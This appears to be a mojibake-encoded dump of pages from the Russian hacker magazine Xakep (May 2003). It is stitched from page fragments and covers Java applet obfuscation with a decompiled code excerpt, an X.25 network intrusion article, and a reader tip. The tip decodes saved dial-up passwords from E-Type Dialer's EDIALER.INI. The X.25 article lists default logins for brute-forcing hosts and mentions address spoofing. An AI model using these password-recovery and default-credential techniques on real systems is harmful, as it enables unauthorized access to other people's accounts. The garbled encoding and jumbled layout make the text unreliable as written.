- ïåðåìåííûå ðàçäåëÿþòñÿ íà äâå è áîëåå ñàìîñòîÿòåëüíûå<br />
ïåðåìåííûå;<br />
- è ò.ï.<br />
íà Zelix KlassMaster 4.0 (http://www.zelix.com/cgibin/download.pl).<br />
Ïîìèìî ñèìïàòè÷íîãî è óäîáíîãî<br />
èíòåðôåéñà â ýòîé ïðîãðàììå ðåàëèçîâàíû<br />
âñå òðè ðàññìîòðåííûå çàùèòû. Êðîìå òîãî, åñòü<br />
íåçàìåíèìûé ïîøàãîâûé ïîìîùíèê è ïîäðîáíàÿ<br />
äîêóìåíòàöèÿ (íà àíãëèéñêîì). Î÷åíü óäîáíî, ÷òî<br />
èñõîäíûé è ïîëó÷åííûé êîä ìîæíî ïðîñìàòðèâàòü<br />
íåïîñðåäñòâåííî â Zelix KlassMaster. Îäíà<br />
áåäà - ïðîåêò êîììåð÷åñêèé è ñêà÷àòü òû ìîæåøü<br />
òîëüêî äåìî-âåðñèþ, â êîòîðîé åñòü íåêîòîðûå<br />
îãðàíè÷åíèÿ: îáðàáîòàòü îäíîâðåìåííî ìîæíî íå<br />
áîëåå 5 êëàññîâ, à èçìåíåíèå ïîòîêà óïðàâëåíèÿ<br />
äåëàåòñÿ íå áîëåå ÷åì äëÿ äâóõ ìåòîäîâ â êàæäîì<br />
êëàññå. Íî èãðà ñòîèò ñâå÷. Íåñìîòðÿ íà îãðàíè÷åíèÿ,<br />
âîçìîæíîñòåé òåáå õâàòèò ñ ëèõâîé. À<br />
â êà÷åñòâå äåêîìïèëÿòîðà ÿ èñïîëüçîâàë NMI's<br />
Java Code Viewer v5.0, ïîäðîáíî îïèñàííûé â ñòàòüå<br />
"Âçëîì àïïëåòîâ".<br />
ÑÒÀÂÈÌ ÇÀÙÈÒÓ<br />
Çàïóñêàåòñÿ KlassMaster ñ ïîìîùüþ êîìàíäû java -<br />
Xmx256m -jar ZKM.jar. Äàëåå ñîãëàñíî<br />
ïîäñêàçêàì ïîøàãîâîãî ïîìîùíèêà. Îáùàÿ<br />
ïîñëåäîâàòåëüíîñòü äåéñòâèé òàêîâà:<br />
ÍÅÊÎÒÎÐÛÅ ÒÐÀÁËÛ<br />
Âðîäå áû âñå î÷åâèäíî - âûáèðàåøü ñàìûé íàâîðî÷åííûé<br />
îáôóñêàòîð, âûñòàâëÿåøü âñå íàñòðîéêè<br />
íà ìàêñèìóì è îáðàáàòûâàåøü ñâîé àïïëåò. Â<br />
ðåàëüíîñòè æå íå âñå òàê ãëàäêî, êàê â òåîðèè.<br />
×åì ñëîæíåå àëãîðèòì çàùèòû, òåì áîëüøå âåðîÿòíîñòü<br />
òîãî, ÷òî íà âûõîäå ïîëó÷èòñÿ íåðàáîòîñïîñîáíûé<br />
àïïëåò. Ñòðàäàþò ýòèì â ïåðâóþ î÷åðåäü<br />
ìíîãèå áåñïëàòíûå îáôóñêàòîðû, òàê êàê èõ<br />
òîëêîì íèêòî íå òåñòèðóåò. Ïîýòîìó íå çàáûâàé<br />
âñåãäà äåëàòü ïðîâåðî÷íûé çàïóñê àïïëåòà.<br />
 ÄÅÉÑÒÂÈÈ<br />
Õâàòèò áîëòîâíè, ïîêàçûâàþ íà ðåàëüíîì ïðèìåðå.<br />
 êà÷åñòâå ïîäîïûòíîé êðûñû áåðåì ïðîèçâîëüíûé<br />
àïïëåò èç èíåòà -<br />
http://javaboutique.internet.com/Fade. Îí ïîêàçûâàåò<br />
â öèêëå òàþùèå íàäïèñè, êëèêíóâ ïî êîòîðûì,<br />
ìîæíî ïåðåéòè ïî ñîîòâåòñòâóþùèì ññûëêàì.<br />
Ñàì èñõîäíèê çäåñü íå ïðèâîæó, òàê êàê îí âåñèò<br />
îêîëî 9 êèëî, óòàñêèâàé åãî ñ<br />
http://javaboutique.internet.com/Fade/Fade.java.<br />
Ïðè áåãëîì èçó÷åíèè âèäíî, ÷òî îí ñîäåðæèò äâà<br />
êëàññà (Thoughts è Fade), êó÷ó ìåòîäîâ, ìàññèâû,<br />
öèêëû, óñëîâíûå ïåðåõîäû è ò.ä. Îäíèì ñëîâîì,<br />
ïîëíûé íàáîð äëÿ ýêñïåðèìåíòà.<br />
ÎÁÔÓÑÊÀÒÎÐ È ÄÅÊÎÌÏÈËßÒÎÐ<br />
Ïîìó÷èâ íåñêîëüêî îáôóñêàòîðîâ, ÿ îñòàíîâèëñÿ<br />
ÃÄÅ ÑÊÀ×ÀÒÜ ÎÁÔÓÑÊÀÒÎÐÛ<br />
 èíåòå ìîæíî íàéòè îêîëî äâóõ äåñÿòêîâ îáôóñêàòîðîâ, íî äàëåêî<br />
íå âñå îíè áåñïëàòíûå. Íèæå ïðèâîæó àäðåñà ðàçëè÷íûõ îáôóñêàòîðîâ:<br />
êàê áåñïëàòíûõ, òàê è êîììåð÷åñêèõ. Ïîïîëçàé ïî<br />
âñåì, òàê êàê íåêîòîðûå êîììåð÷åñêèå ïðîåêòû ÷àñòåíüêî âûêëàäûâàþò<br />
íà ñâîèõ ñàéòàõ äåìîíñòðàøêè (òðèàëêè) èëè áåòà-âåðñèè,<br />
êîòîðûå ïîëíîñòüþ ïðîôïðèãîäíû.<br />
Zelix KlassMaster -<br />
http://www.zelix.com/klassmaster/download1.html<br />
JavaGuard - http://sourceforge.net/projects/javaguard<br />
ProGuard - http://proguard.sourceforge.net<br />
RetroGuard - http://www.retrologic.com/retroguarddownload.html<br />
JCloak - http://www.force5.com/download.html<br />
DashO - http://www.preemptive.com/tools<br />
JProof 1stBarrier - http://www.jproof.com/products.html<br />
JZipper - http://www.vegatech.net/jzipper<br />
Cloakware - http://www.cloakware.com<br />
È äëÿ êîìïëåêòíîñòè íåñêîëüêî ññûëîê íà õîðîøèå äåêîìïèëÿòîðû:<br />
DCompiler - http://sourceforge.net/projects/dcompiler<br />
JAD - http://kpdus.tripod.com/jad.html<br />
NMI's Java Code Viewer - http://www.javacodeviewer.tk<br />
Mocha - http://www.brouhaha.com/~eric/computers/mocha.html<br />
SourceTech - http://www.srctec.com<br />
SourceAgain - http://www.ahpah.com<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 67
Âçëîì<br />
ÇÀÙÈÒÀ JAVA-ÀÏÏËÅÒÎÂ<br />
Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />
- îòêðûâàåòñÿ íåçàùèùåííûé áàéò-êîä (File -><br />
Open)<br />
- èç êîäà âûìåòàåòñÿ ëèøíèé ìóñîð (Tools -><br />
Trim)<br />
- äåëàåòñÿ îáôóñêàöèÿ ñ âûáðàííûìè ïàðàìåòðàìè<br />
(Tools -> Obfuscate)<br />
- ðåçóëüòàò ñîõðàíÿåòñÿ (File -> Save all)<br />
Âûñòàâëÿé îáà ïàðàìåòðà îáôóñêàöèè â aggressive,<br />
è ïîåõàëè.<br />
 ðåçóëüòàòå ïîëó÷èëîñü äâà êëàññà: a.class è<br />
b.class (âìåñòî Fade.class è Thoughts.class). Äî<br />
îáôóñêàöèè èõ ðàçìåð áûë 4,9 Êá è 4,1 Êá, òåïåðü<br />
îíè âåñÿò 3,6 Êá è 3,0 Êá ñîîòâåòñòâåííî.<br />
Îïòèìèçàöèÿ íàëèöî. Îñòàëîñü ïîñìîòðåòü, ÷òî<br />
KlassMaster íàòâîðèë âíóòðè. Äëÿ ýòîãî çàïóñêàé<br />
NMI's Java Code Viewer, îòêðûâàé ïîëó÷åííûå<br />
êëàññû è ÷åðåç ìåíþ âûáåðè Process -><br />
Decompile. ×òîáû áûëî ñ ÷åì ñðàâíèâàòü, àíàëîãè÷íî<br />
äåêîìïèëèðóé è èñõîäíûå êëàññû<br />
(Fade.class è Thoughts.class).<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
private static String b(String s) {<br />
char ac[];<br />
int i;<br />
int j;<br />
ac = s.toCharArray();<br />
i = ac.length;<br />
j = 0;<br />
if(i > 1) goto _L2; else goto _L1<br />
_L1:<br />
ac;<br />
j;<br />
_L10:<br />
JVM INSTR dup2 ;<br />
JVM INSTR caload ;<br />
j % 5;<br />
JVM INSTR tableswitch 0 3:<br />
default 72<br />
// 0 52<br />
// 1 57<br />
// 2 62<br />
// 3 67;<br />
goto _L3 _L4 _L5 _L6 _L7<br />
_L4:<br />
0x36;<br />
goto _L8<br />
_L5:<br />
86;<br />
_L6:<br />
_L7:<br />
_L3:<br />
_L8:<br />
_L9:<br />
ÏÎÑËÅ ÄÅÊÎÌÏÈËßÖÈÈ<br />
Ðàçíèöà ìåæäó òåì, ÷òî áûëî, è òåì, ÷òî ñòàëî,<br />
âèäíà íåâîîðóæåííûì ãëàçîì. Âñå èìåíà êëàññîâ,<br />
ìåòîäîâ è ïåðåìåííûõ çàìåíåíû îäíîáóêâåííûìè<br />
ñèìâîëàìè. Ëèòåðàëû è ñòðîêîâûå ïåðåìåííûå<br />
çàøèôðîâàíû. Ïîÿâèëîñü ìíîæåñòâî<br />
ëåâûõ ìåòîê è íå ìåíåå ëåâûõ ïåðåõîäîâ íà íèõ.<br />
Åñëè îïèñûâàòü â äâóõ ñëîâàõ, òî ïîëó÷èëàñü íàñòîÿùàÿ<br />
êàøà. È ñàìîå ãëàâíîå - ïðè çàïóñêå<br />
àïïëåò ðàáîòàåò áåç ñáîåâ.<br />
Ïðèâîæó íàèáîëåå èíòåðåñíóþ ÷àñòü ïîëó÷åííîãî<br />
êîäà a.class ïîñëå äåêîìïèëÿöèè Fade.class:<br />
(Òàáëèöà 1)<br />
goto _L8<br />
99;<br />
goto _L8<br />
109;<br />
goto _L8<br />
55;<br />
Òàáëèöà 1<br />
JVM INSTR ixor ;<br />
(char);<br />
JVM INSTR castore ;<br />
j++;<br />
if(i != 0) goto _L2; else goto _L9<br />
ac;<br />
i;<br />
goto _L10<br />
_L2:<br />
if(j >= i)<br />
return new String(ac);<br />
if(true) goto _L1; else goto _L11<br />
_L11:<br />
}<br />
}<br />
ÍÀÏÎÑËÅÄÎÊ<br />
Ïî÷åìó æå âñå ïîãîëîâíî íå ñòàâÿò çàùèòó íà<br />
àïïëåòû Îòâåò áàíàëüíûé - áîëüøèíñòâî ïðîñòî<br />
íå çíàþò î ïîäîáíîé âîçìîæíîñòè. À ó íåêîòîðûõ<br />
íåò íåîáõîäèìîñòè â çàùèòå. Ðàçäàâàòü èñõîäíèêè<br />
îò ñâîèõ òâîðåíèé èëè äåðæàòü çà ñåìüþ çàìêàìè<br />
- äåëî ñóãóáî ëè÷íîå. Íî, ñ äðóãîé ñòîðîíû,<br />
ñëàâà áîãó, ÷òî íå êàæäûé ñòàâèò çàùèòó íà ñâîè<br />
àïïëåòû, èíà÷å íåãäå áûëî áû òûðèòü ÷óæèå èäåè<br />
:). Íà ýòîì âñå, óñïåøíîé òåáå çàùèòû<br />
â ãåíèàëüíûõ java-òâîðåíèÿõ :).<br />
Tips&Tricks<br />
 E-Type Dialer`å åñòü äûðà (à ãäå èõ íåò!). Åñëè<br />
ó ÷åëà ñòîèò ÷åêáîêñ íàïðîòèâ "Çàïîìíèòü ïàðîëü",<br />
òî åñòü ðåàëüíûé øàíñ áåç âñÿêèõ<br />
OpenPass`îâ ñíûêàòü ïàññ! Âñå íàñòðîéêè æèâóò<br />
â ôàéëå EDIALER.INI, ëåæàùåì â äèðå ñ âèíäàìè.<br />
Òàì âìåñòå ñ òåëåôîíàìè, çàïóñêàåìûìè<br />
ïðè ñîåäèíåíèè ïðîãàìè, íàñòðîéêàìè äëÿ êàæäîãî<br />
ñîåäèíåíèÿ ëåæàò ñîõðàíåííûå ïàðîëè.<br />
PasswordSaved=1357 LoginSaved=Mazafaka Ëîãèí<br />
íå çàøèôðîâàí, à âîò ïàðîëü çàøèôðîâàí.<br />
Øèôðîâàíèå ïðîñòî äî îðãàçìà! Ïåðâûé ñèìâîë<br />
îñòàåòñÿ, âòîðîé óâåëè÷èâàåòñÿ íà 1, òðåòèé<br />
- íà 2, è ò.ä. Çíà÷èò 1357 ýòî 1234, à xakep áóäåò<br />
xbmht. Êàê ïîëó÷èòü EDIALER.INI, äîäóìàåøüñÿ<br />
ñàì!<br />
ÇÛ. Åñëè â ÷åì íå ïðàâ, íå ñóäèòå ñòðîãî!<br />
Ñïèðèäîíîâ Ñòàñ aka V4nD4LL<br />
v4nd4ll@mail.ru<br />
Õî÷åøü óâèäåòü ñâîè ñîâåòû â æóðíàëå Ïðèñûëàé èõ íà<br />
àäðåñ Sklyarov@real.xakep.ru. Âåäóùèé ðóáðèêè<br />
Tips&Tricks Èâàí Ñêëÿðîâ.<br />
1 2 3 4<br />
68 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ÏÀÐÀËËÅËÜÍÛÉ ÌÈÐ<br />
kas1e<br />
Âçëîì<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÏÀÐÀËËÅËÜÍÛÉ<br />
ÌÈÐ<br />
ÂÇËÎÌ ÑÅÒÅÉ<br />
X25<br />
Ñåãîäíÿ ïðàêòè÷åñêè íèêòî íå çíàåò, ÷òî òàêîå x25-ñåòè è íàñêîëüêî îíè ãëîáàëüíû, ïîýòîìó ÿ âêðàòöå ðàññêàæó èñòîðèþ èõ ïîÿâëåíèÿ.<br />
 1973 ãîäó ïîÿâèëàñü êîìïàíèÿ Telenet - ïåðâûé âëàäåëåö ñåòè îáùåãî ïîëüçîâàíèÿ ñ êîììóòàöèåé ïàêåòîâ. Telenet è ÿâëÿåòñÿ<br />
"íàñòîÿùèì" îòöîì x.25-ñåòåé. ×òî êàñàåòñÿ áûâøåãî ÑÑÑÐ, òî òàì êàêîé-ëèáî çàìåòíîé àêòèâíîñòè íå íàáëþäàëîñü äî 1986 ãîäà,<br />
èìåííî òîãäà íà÷àëàñü ýêñïëóàòàöèÿ âåäîìñòâåííûõ ñåòåé ýòîãî êëàññà (ÀÈÑÒ, ÀÑÏÄ, ÈÀÑÍÅÒ). Çàòåì íà÷àëîñü áóðíîå ðàçâèòèå ñòàðûõ<br />
è ïîÿâëåíèå íîâûõ x25-ñåòåé, êîòîðîå, â îáùåì, íå ïðåêðàùàåòñÿ è ñåé÷àñ, íî â áîëåå ñïåöèàëèçèðîâàííîì íàïðàâëåíèè, ÷åì<br />
èíòåðíåò.  êà÷åñòâå ïðèìåðà ìû ðàññìîòðèì sprintnet, êîòîðàÿ è ÿâëÿåòñÿ òîé ñàìîé telenet, íî áîëåå ðàçâèòîé è ïîëó÷èâøåéñÿ ïðè<br />
ñëèÿíèè ñëóæá òåëåôîííîé ñâÿçè è ïåðåäà÷è äàííûõ êîìïàíèè GTE (GTE Sprint è GTE Telenet) ñ US Telecom - àíàëîãè÷íûìè ñëóæáàìè<br />
áîëüøîé êîìïàíèè "United Telecommunications Inc" (UTI). Âõîäû â ýòó ñåòü (sprintnet) ïðåäîñòàâëåíû â êàæäîì çàõóäàëîì ãîðîäêå, è òåëåôîíû<br />
ìîäåìíûõ ïóëîâ ìîæíî íàéòè â ëþáîé ïîèñêîâîé ìàøèíå èëè íà îôèöèàëüíûõ ñàéòàõ ïðåäñòàâèòåëüñòâà íåîáõîäèìîé ñåòè.<br />
ÎÐÃÀÍÈÇÀÖÈß<br />
Èòàê, íàñ âîëíóåò òî, êàêèì îáðàçîì îáîçíà÷àþòñÿ/ïðåäîñòàâëÿþòñÿ<br />
àäðåñà (õîñòû), êàê ïðîèñõîäèò<br />
àóòåíòèôèêàöèÿ è íåêîòîðûå äðóãèå íþàíñû.<br />
Àäðåñà â x25-ñåòÿõ íàçûâàþòñÿ NUA (Network<br />
Users Address). Ôîðìèðóþòñÿ îíè èç íåñêîëüêèõ<br />
ñîñòàâëÿþùèõ:<br />
1. Ïðèçíàê îïðåäåëåíèÿ àäðåñà (ïîëíûé âèä, åñëè<br />
ñóùåñòâóåò, âíóòðåííèé, åñëè íå çàäàíî).<br />
2. DNIC (Data Network Identification Code) - ÷åòûðåõçíà÷íûé<br />
êîä ñåòè.<br />
1: Êîä "ìàòåðèêà":<br />
1 - Îêåàíèÿ<br />
2 - Åâðîïà<br />
3 - Àìåðèêà<br />
4 - Àçèÿ<br />
5 - Àâñòðàëèÿ<br />
6 - Àôðèêà<br />
7 - Þæíàÿ Àìåðèêà<br />
2-3: Êîä ñòðàíû (2 öèôðû). Íàïðèìåð, 50 - Ðîññèÿ.<br />
4: Êîä íàöèîíàëüíîé ñåòè, êàê ïðèìåð äëÿ 250x:<br />
0 - ROSPAC<br />
1 - SPRINT<br />
2 - IASNET<br />
3 - MMTLnet<br />
4 - INFOTEL<br />
6 - ROSNET<br />
7 - ISTOK-K<br />
8 - TRANSINFORM<br />
3. Íåïîñðåäñòâåííî âíóòðèñåòåâîé àäðåñ (äî 10<br />
öèôð).<br />
È âîò òåïåðü ñàìîå âðåìÿ ïîãîâîðèòü îá àóòåíòèôèêàöèè.<br />
Âõîä â sprintnet êàê òàêîâîé, â ïðèíöèïå,<br />
îòñóòñòâóåò. Ò.å. òû ìîæåøü ïðîñòî ïîçâîíèòü íà<br />
ïóë è óæå ñìîæåøü ïðîèçâîäèòü ìàñøòàáíûå ñêàíû.<br />
Îäíàêî áîëüøèíñòâî õîñòîâ íå ãîðÿò æåëàíèåì<br />
ïëàòèòü çà òâîå ñîåäèíåíèå ñ íèìè, î ÷åì òåáå<br />
ñ ðàäîñòüþ è ñîîáùàò :). ×òîáû èìåòü ïîëíîöåííûé<br />
äîñòóï êî âñåì ðåñóðñàì, íóæåí íåêèé NUI<br />
(Network User Identificator), ïðîùå ãîâîðÿ - êîä äîñòóïà<br />
è ïàðîëü. NUI ñòîèò ïîðÿäêà $30 + $16 çà<br />
÷àñ ïîëüçîâàíèÿ ñåòüþ. Ò.å. ó òåáÿ 2 âàðèàíòà -<br />
ëèáî ïîëüçóåøüñÿ áåñïëàòíî è èùåøü õîðîøèå<br />
õîñòû, ëèáî ïîëüçóåøüñÿ NUI (ââîäÿ ID ïðè ïîäêëþ÷åíèè).<br />
Ôîðìàò NUI ïðîñòîé - ýòî àëôàâèòíûå<br />
è áóêâåííûå çíà÷åíèÿ äëèíîé îò 4 ñèìâîëîâ. Äëÿ<br />
ââîäà NUI åñòü 2 ïóòè. Ïåðâûé - ââîäèòü åãî ïðè<br />
ïîäêëþ÷åíèè ê ïàäó (î ïàäå ÷óòü íèæå):<br />
<br />
@ ID=xxxxx<br />
PASS=xxxxx<br />
Âòîðîé - íåïîñðåäñòâåííî ïðè ïîäêëþ÷åíèè ê<br />
NUA:<br />
<br />
@ ,,<br />
Íà ýòèõ äâóõ ñïîñîáàõ õàêåðû îñíîâûâàþò ñâîè<br />
ïåðåáîðû. Íî ïðåæäå ÷åì ïåðåéòè ê áîëåå óãëóáëåííîìó<br />
èçó÷åíèþ èõ çëîäåÿíèé, íåîáõîäèìî ðàññìîòðåòü<br />
åùå îäíó íå ìåíåå âàæíóþ äåòàëü -<br />
ÏÀÄ. ÏÀÄ - ýòî íåêàÿ ïðîãðàììà-ñåðâåð (åñëè òàê<br />
ìîæíî ñêàçàòü), êîòîðàÿ óñòàíîâëåíà íà ìîäåìíîì<br />
ïóëå x25-ñåòè (â ÷àñòíîñòè, ó íàñ ýòî ìîäåìíûé<br />
ïóë ñïðèíòà). Èìåííî ñ ýòîé ïðîãðàììîé ìû âåäåì<br />
áåñåäó ïðè ïîäêëþ÷åíèè. Îíà ïîçâîëÿåò èçìåíÿòü<br />
íàñòðîéêè íàøèõ ïðîôèëåé â ñåòè, è êàê<br />
1 2 3 4<br />
70 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ïðèìåð óñòàíîâêè ïðîôèëÿ<br />
ðàç ó íåå åñòü íåêîòîðûå ãëþêè. Èìè âçëîìùèêè<br />
è ïîëüçóþòñÿ â ñâîèõ íåõîðîøèõ öåëÿõ. Áîëåå èëè<br />
ìåíåå âàæíûå êîìàíäû ïàäà ïðåäñòàâëåíû íèæå:<br />
prof - âûáîð ïðîôèëÿ. Äàííàÿ êîìàíäà äàåò âîçìîæíîñòü<br />
âûáèðàòü ïðîôèëè (óñòàíîâêè). Åñòü è<br />
ñòàíäàðòíûå, è ñâîè. Âîò ïðèìåð óñòàíîâêè 10-<br />
ãî ïðîôèëÿ:<br />
<br />
@prof 10<br />
set - èçìåíåíèå ïàðàìåòðîâ óñòàíîâëåííîãî ïðîôèëÿ<br />
(âñåãî 22 ïàðàìåòðà). Íàïðèìåð, ñòàâèì<br />
10-ûé ïðîôèëü è ìåíÿåì 10-ûé ïàðàìåòð.<br />
<br />
@prof 10<br />
@set 10:80<br />
Åñëè ââîäÿò ñðàçó íåñêîëüêî ïàðàìåòðîâ ñ êàêèìè-íèáóäü<br />
çíà÷åíèÿìè, òî èõ íåîáõîäèìî ðàçäåëÿòü<br />
çàïÿòûìè.<br />
par - ïðîñìîòð íóæíûõ ïàðàìåòðîâ ïðîôèëÿ.<br />
Êàê ïðèìåð, ïîñìîòðèì íàñòðîéêè ó 12-ãî ïðîôèëÿ,<br />
10-ãî ïàðàìåòðà.<br />
<br />
@prof 12<br />
@par 10<br />
PAR 10:80<br />
Åñëè õî÷åøü ïîñìîòðåòü âñå ïàðàìåòðû ñðàçó, òî<br />
ïðîñòî ââåäè par áåç çíà÷åíèé.<br />
stat - ïîçâîëÿåò óçíàòü ñîñòîÿíèå ÏÀÄ ïðîãðàììû<br />
(ñâîáîäåí, çàíÿò è ò.ä.).<br />
Åùå ñóùåñòâóåò set (ïî÷òè òî æå ñàìîå, ÷òî è<br />
set) è select (äîâîëüíî èíòåðåñíàÿ êîìàíäà, íî<br />
ìû åå çäåñü ðàññìàòðèâàòü íå áóäåì).<br />
Èòàê, ïîäâåäåì èòîã: åñòü x25-ñåòè. Âñå îíè ñîåäèíåíû<br />
ðàçëè÷íûìè ñïîñîáàìè è èìåþò â ðàçíûõ òî÷êàõ<br />
ìèðà ðàçíûå âõîäû (ìû ðàññìàòðèâàåì sprintnet<br />
êàê ñàìóþ äîñòóïíóþ â áûâøåì ÑÑÑÐ). Íà ýòèõ âõîäàõ<br />
óñòàíîâëåíî ñïåöèôè÷íîå äëÿ x25 æåëåçî/ìîäåìû<br />
è ïðîãðàììû, íàçûâàþùèåñÿ ÏÀÄ. Îíè è ïîçâîëÿþò<br />
ðàáîòàòü ñ ýòèì æåëåçîì (ñëåäîâàòåëüíî, ñ<br />
x25-ñåòüþ). Ìîæíî ïîäáèðàòü nui äëÿ áîëåå øèðîêîãî<br />
ïîëüçîâàíèÿ x25-ñåòüþ, à ìîæíî ïîëüçîâàòüñÿ<br />
ïðîñòî òàê. Ìîæíî áàëîâàòüñÿ ñ íàñòðîéêàìè ïàäà è<br />
äîáèòüñÿ ÷åãî-íèáóäü èíòåðåñíîãî. À ìîæíî ïðîñòî<br />
ñêàíèðîâàòü õîñòû â ïîèñêàõ ðàçëè÷íûõ ñèñòåì.<br />
Áîëåå äåòàëüíóþ èíôîðìàöèþ ÷èòàé â ðàçëè÷íûõ<br />
äîêóìåíòàöèÿõ, æóðíàëàõ è ò.ä. Ìû æå ðàññìîòðèì<br />
óñòðîéñòâî x25-ïðîòîêîëà íà íèæíåì óðîâíå.<br />
X25-ÏÐÎÒÎÊÎË<br />
Âî-ïåðâûõ, ñðàçó õî÷ó îòìåòèòü, ÷òî ìèð íå îãðàíè÷åí<br />
ëèøü rfc äîêóìåíòàìè. Ñóùåñòâóåò ìíîãî<br />
äðóãèõ èíòåðåñíûõ ñåðèé, íàïðèìåð, CCITT ñåðèÿ.<br />
Èòàê, êàêèå äîêóìåíòû íàì íåîáõîäèìû:<br />
x.3/x.28/x.29 - äîêóìåíòû, îïèñûâàþùèå ñòðóêòóðó<br />
è ðàáîòó PAD.<br />
x.25 - îïèñàíèå x.25-ïðîòîêîëà.<br />
x.121 - îïèñàíèå ñåòåâîé àäðåñàöèè.<br />
x.xxx ñåðèé äîâîëüíî ìíîãî, è åñëè õî÷åøü âñå<br />
ýòî ïîíÿòü, òùàòåëüíî èõ ïðîøòóäèðóé. x25-ñåòè<br />
áàçèðóþòñÿ íà òðåõ ïåðâûõ óðîâíÿõ ìîäåëè OSI:<br />
1 óðîâåíü - ôèçè÷åñêèé (æåëåçî, ñèãíàëû, ýëåêòðîíèêà,<br />
êàáåëè, ðàçúåìû).<br />
2 óðîâåíü - êàíàëüíûé (óðîâåíü ïåðåäà÷è äàííûõ).<br />
Çäåñü ââîäèòñÿ ïîíÿòèå êàäðà (frame), ò.å.<br />
ýòî êóñêè èíôîðìàöèè (áèò, îíè æå ýëåêòðè÷åñêèå<br />
ñèãíàëû). Â êàäðå ñîäåðæèòñÿ ïàêåò èç ñåòåâîãî<br />
óðîâíÿ (ñì. íèæå).<br />
3 óðîâåíü - ñåòåâîé. Íà ýòîì óðîâíå ââîäèòñÿ ïîíÿòèå<br />
x25-ïàêåòà (êîòîðûé ÿâëÿåòñÿ ÷àñòüþ x25-<br />
êàäðà). Ýòîò óðîâåíü òàêæå îòâå÷àåò çà ìàðøðóòèçàöèþ<br />
ïàêåòîâ.<br />
Èòàê, êàê âûãëÿäèò ïàêåò:<br />
ñìåùåíèå<br />
(â áèòàõ) îïèñàíèå<br />
4 Îñíîâíîé èäåíòèôèêàòîð ôîðìàòà ïàêåòà<br />
(call set-up packets, clearing packets,<br />
flow control, data packets è ò.ä.).<br />
4 Ëîãè÷åñêèé íîìåð ãðóïïû êàíàëà.<br />
8 Ëîãè÷åñêèé íîìåð êàíàëà.<br />
8 Èäåíòèôèêàòîð òèïà ïàêåòà. Äîâîëüíî<br />
ìàñøòàáíûé èäåíòèôèêàòîð, âêëþ-<br />
÷àþùèé, íàïðèìåð, äëÿ "îò DCE äî<br />
DTE" òàêèå òèïû: Incoming call, Call<br />
connected, Clear indication è ò.ä.<br />
Ýòè 3 áàéòà äîëæíû ïðèñóòñòâîâàòü â ëþáîì ñëó÷àå.<br />
Äàëåå âñå çàâèñèò îò êîíêðåòíîãî òèïà ïàêåòà. Íàïðèìåð,<br />
äëÿ call request è incoming call äàëåå èäóò:<br />
a. Áëîê Àäðåñà.<br />
b. Äëèíà Facility.<br />
c. Ñàìè Facilities.<br />
d. 'call' äàííûå.<br />
×òîáû íàéòè îïèñàíèå êàæäîãî òèïà ïàêåòà, êàæäîãî<br />
ïîëÿ, è âîîáùå ïîëíóþ ñòðóêòóðó, ñòîèò îêóíóòüñÿ<br />
â äîâîëüíî îáúåìíóþ x.25 CCITT ðåêîìåíäàöèþ<br />
(ññûëêà âíèçó).<br />
5 6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
Âçëîì<br />
ÏÀÐÀËËÅËÜÍÛÉ ÌÈÐ<br />
kas1e<br />
Ññûëêè<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
http://x25.net.ru/x25.ps.gz - ñïåöèôèêàöèÿ x25-<br />
ïðîòîêîëà.<br />
http://x25.net.ru/x3-x28.rar - ÏÀÄ<br />
Russian Undeground Club ezines<br />
[ ... âûðåçàíî èç ëîãà ... ]<br />
Òàáëèöà 1<br />
Ëîãè ðàáîòû<br />
ÑÏÎÑÎÁÛ ÂÇËÎÌÀ<br />
×òî ó íàñ èìååòñÿ íà ýòó òåìó 2 ñïîñîáà è èõ<br />
êîìáèíèðîâàíèå. ß èõ ìîãó ðàçäåëèòü íà "ñòàðûé"<br />
è "íîâûé", íî ìîæíî íàçâàòü ýòî êàê óãîäíî<br />
:). ×òî ìû îòíåñåì ê ñòàðîìó ñïîñîáó Ýòî ñêàíèðîâàíèå,<br />
ïîäáîð àêêàóíòîâ, îøèáêè "íà äóðàêà",<br />
îøèáêè êîíôèãóðàöèè (÷åëîâå÷åñêèé ôàêòîð) è<br />
ñîöèàëüíàÿ èíæåíåðèÿ. Êàê ïðèìåð ðàññìîòðèì<br />
òàêóþ ñòðóêòóðó:<br />
1. Ñêàíèðóåì â ïîèñêàõ äîñòóïíûõ áåç-nui'åâûõ<br />
õîñòîâ.<br />
2. Ñêàíèðóåì êàæäûé íàéäåííûé õîñò íà ðàñïðîñòðàíåííûå<br />
ëîãèíû/ïàðîëè (÷òî äî ñèõ ïîð, êàê<br />
ýòî íè ñòðàííî, ðàáîòàåò). Âñå òîò æå íåáîëüøîé<br />
ñïèñî÷åê êîìáèíàöèé:<br />
guest/<br />
guest/<br />
anonymous/<br />
anonymouse/<br />
visitor/<br />
new/<br />
admin/<br />
system/<br />
temp/<br />
test/<br />
Õîñòû áûâàþò ñàìûìè ðàçíîîáðàçíûìè. Îò unixáîêñîâ/ppp-ñåññèé,<br />
äî rex/dionis-ñèñòåì. Ó êàæäîé<br />
èç íèõ åñòü ñâîè ãëþêè, êîòîðûå õàêåðû èñïîëüçóþò<br />
â ñâîèõ öåëÿõ. Â ðàìêàõ îäíîé ñòàòè âñå ýòè<br />
îøèáêè ìû, åñòåñòâåííî, ðàññìîòðåòü íå ñìîæåì.<br />
Âòîðîé ñïîñîá (òàê ñêàçàòü, "íîâûé") - ïîèñê óÿçâèìîñòåé<br />
ïðîòîêîëà, âîçìîæíîñòè ñíèôèíãà, ñïóôèíãà<br />
è ðàçëè÷íûå íîâîìîäíûå ïðèåìû. Îäèí èç<br />
íèõ çàêëþ÷àåòñÿ â òîì, ÷òî â ïàêåòå íà çàïðîñ ñîåäèíåíèÿ<br />
ìîæíî âîîáùå íå ïèñàòü îáðàòíûé àäðåñ<br />
(ñîåäèíåíèå óñòàíàâëèâàåòñÿ íå ïî àäðåñàì â<br />
ïàêåòå, à ïî ëîãè÷åñêèì íîìåðàì êàíàëîâ). ×òî<br />
ýòî äàåò, ÿ äóìàþ ïîíÿòíî ñðàçó. Âî-ïåðâûõ, ýòî<br />
âîçìîæíîñòü ïîäñòàâëÿòü ëþáûå àäðåñà (ò.å. ïðè<br />
